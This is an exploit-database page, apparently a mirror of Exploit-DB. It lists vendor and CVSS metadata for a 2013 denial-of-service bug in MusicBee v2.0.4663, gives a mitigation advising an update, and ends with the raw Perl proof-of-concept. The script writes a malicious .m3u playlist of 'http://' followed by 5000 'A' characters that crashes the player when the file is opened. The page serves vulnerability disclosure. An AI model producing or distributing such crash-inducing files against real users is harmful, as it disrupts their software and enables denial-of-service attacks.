header-logo
Suggest Exploit
vendor:
MusicBee
by:
Chako
7,8
CVSS
HIGH
Denial of Service
400
CWE
Product Name: MusicBee
Affected Version From: 2.0.4663
Affected Version To: 2.0.4663
Patch Exists: Yes
Related CWE: N/A
CPE: a:getmusicbee:musicbee:2.0.4663
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XP SP3 English
2013

MusicBee v2.0.4663 .M3U Denial of Service Exploit

This exploit is for MusicBee v2.0.4663. It creates a malicious .m3u file with a header of 'http://' and a buffer of 5000 'A' characters. When the file is opened, it causes a denial of service.

Mitigation:

Update to the latest version of MusicBee, which is not vulnerable to this exploit.
Source

Exploit-DB raw data:

#!/usr/bin/perl
#
#
#
#############################################################
#
# Exploit Title: MusicBee v2.0.4663 .M3U Denial of Service Exploit 
# Date: 2013/6/19 
# Exploit Author: Chako 
# Vendor Homepage: http://getmusicbee.com/
# Version: v2.0.4663
# Tested on: Windows XP SP3 English
#############################################################

$HEADER = "http://";
#$BOF    = "\x41" x 3740;
$BOF    = "\x41" x 5000;


open(myfile, '> MusicBee _EXP.m3u');
print myfile $HEADER.$BOF;

Navigation

Suggest Exploit

Services By CQR